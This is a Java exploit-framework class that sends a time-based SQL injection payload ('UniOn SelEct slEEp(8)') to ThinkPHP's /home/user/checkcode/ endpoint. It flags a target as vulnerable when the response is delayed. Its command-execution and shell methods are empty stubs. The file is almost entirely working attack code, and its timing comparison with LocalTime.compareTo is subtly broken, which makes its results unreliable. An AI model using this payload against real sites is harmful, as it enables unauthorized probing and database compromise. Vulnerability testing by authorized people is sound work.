content: package com.agony.demo.exploit;
  
  import com.agony.demo.common.BasePayload;
  import com.agony.demo.utils.Result;
  import com.github.kevinsawicki.http.HttpRequest;
  
  
  import java.time.LocalTime;
  import java.util.HashMap;
  import java.util.Map;
  
  public class tp_checkcode_time_sqli implements BasePayload {
      @Override
      public Result checkVUL(String url) throws Exception {
          LocalTime start_time = LocalTime.now();
          Map<String, String> headers = new HashMap<>();
          headers.put("Content-Type", "multipart/form-data; boundary=--------641902708");
          headers.put("Accept-Encoding", "gzip, deflate, sdch");
          String payload_uri = url + "/index.php?s=/home/user/checkcode/";
          String payload = "----------641902708\r\nContent-Disposition: form-data; name=\"couponid\"\r\n\r\n1')UniOn SelEct slEEp(8)#\r\n\r\n----------641902708--";
  
          try {
              HttpRequest.post(payload_uri).headers(headers).send(payload).code();
              if (LocalTime.now().compareTo(start_time) >= 8) {
                  return new Result(true, "ThinkPHP check-code sql注入漏洞", payload_uri + " Post:" + payload);
              }
          } catch (Exception e) {
              e.printStackTrace();
          }
          return new Result(false, "ThinkPHP check-code sql注入漏洞", null);
      }
  
      @Override
      public Result exeVUL(String url, String cmd) throws Exception {
          return new Result(false, null, null);
      }
  
      @Override
      public Result getShell(String url) throws Exception {
          return new Result(false, null, null);
      }
  }
  